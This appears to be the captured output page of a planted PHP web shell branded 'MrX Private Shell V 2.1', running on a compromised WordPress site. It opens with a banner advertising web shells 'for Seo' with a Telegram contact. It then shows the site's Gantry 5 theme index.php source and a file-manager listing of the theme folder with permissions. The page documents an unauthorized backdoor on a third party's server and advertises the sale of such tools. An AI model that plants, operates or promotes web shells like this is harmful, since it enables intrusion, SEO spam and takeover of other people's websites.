__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Gantry 5 Theme
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2022 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
defined('ABSPATH') or die;
use Gantry\Component\Config\Config;
use Gantry\Framework\Gantry;
use Gantry\Framework\Theme;
use Timber\Timber;
/*
* The main template file
* This is the most generic template file in a WordPress theme
* and one of the two required files for a theme (the other being style.css).
* It is used to display a page when nothing more specific matches a query.
* E.g., it puts together the home page when no home.php file exists
*/
$gantry = Gantry::instance();
/** @var Theme $theme */
$theme = $gantry['theme'];
/** @var Config $config */
$config = $gantry['config'];
global $paged;
if (!isset($paged) || !$paged) {
$paged = 1;
}
// We need to render contents of <head> before plugin content gets added.
$context = Timber::get_context();
$context['page_head'] = $theme->render('partials/page_head.html.twig', $context);
// Category variables for query manipulation
$cat = '';
$cat_include = $config->get('content.blog.query.categories.include');
$cat_exclude = $config->get('content.blog.query.categories.exclude');
if ($cat_include) {
$cat = str_replace(' ', ',', $cat_include);
} elseif ($cat_exclude) {
$cat_exclude = explode(' ', $cat_exclude);
$new_exclude = [];
foreach ($cat_exclude as $exclude) {
$new_exclude[] = '-' . $exclude;
}
$cat = implode(',', $new_exclude);
}
// Override the main query only when $cat variable is not empty
if ($cat) {
query_posts(['cat' => $cat, 'paged' => $paged]);
}
$context['posts'] = Timber::get_posts();
$context['pagination'] = Timber::get_pagination();
$templates = ['index.html.twig'];
if (is_home()) {
array_unshift($templates, 'home.html.twig');
}
Timber::render($templates, $context);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0775 |
|
|
| blueprints | Folder | 0775 |
|
|
| config | Folder | 0775 |
|
|
| custom | Folder | 0775 |
|
|
| fonts | Folder | 0775 |
|
|
| gantry | Folder | 0775 |
|
|
| images | Folder | 0775 |
|
|
| includes | Folder | 0775 |
|
|
| install | Folder | 0775 |
|
|
| js | Folder | 0775 |
|
|
| languages | Folder | 0775 |
|
|
| layouts | Folder | 0775 |
|
|
| particles | Folder | 0775 |
|
|
| scss | Folder | 0775 |
|
|
| views | Folder | 0775 |
|
|
| 404.php | File | 769 B | 0775 |
|
| MD5SUMS | File | 21.47 KB | 0775 |
|
| archive.php | File | 1.81 KB | 0775 |
|
| author.php | File | 1.03 KB | 0775 |
|
| bbpress.php | File | 852 B | 0775 |
|
| buddypress.php | File | 852 B | 0775 |
|
| comments.php | File | 658 B | 0775 |
|
| footer.php | File | 785 B | 0775 |
|
| functions.example.php | File | 630 B | 0775 |
|
| functions.php | File | 2 KB | 0775 |
|
| header.php | File | 895 B | 0775 |
|
| index.php | File | 1.94 KB | 0775 |
|
| install.php | File | 944 B | 0775 |
|
| offline.php | File | 770 B | 0775 |
|
| page.php | File | 1.28 KB | 0775 |
|
| screenshot.jpg | File | 57.77 KB | 0775 |
|
| search.php | File | 915 B | 0775 |
|
| searchform.php | File | 437 B | 0775 |
|
| sidebar.php | File | 412 B | 0775 |
|
| single.php | File | 933 B | 0775 |
|
| style.css | File | 184 B | 0775 |
|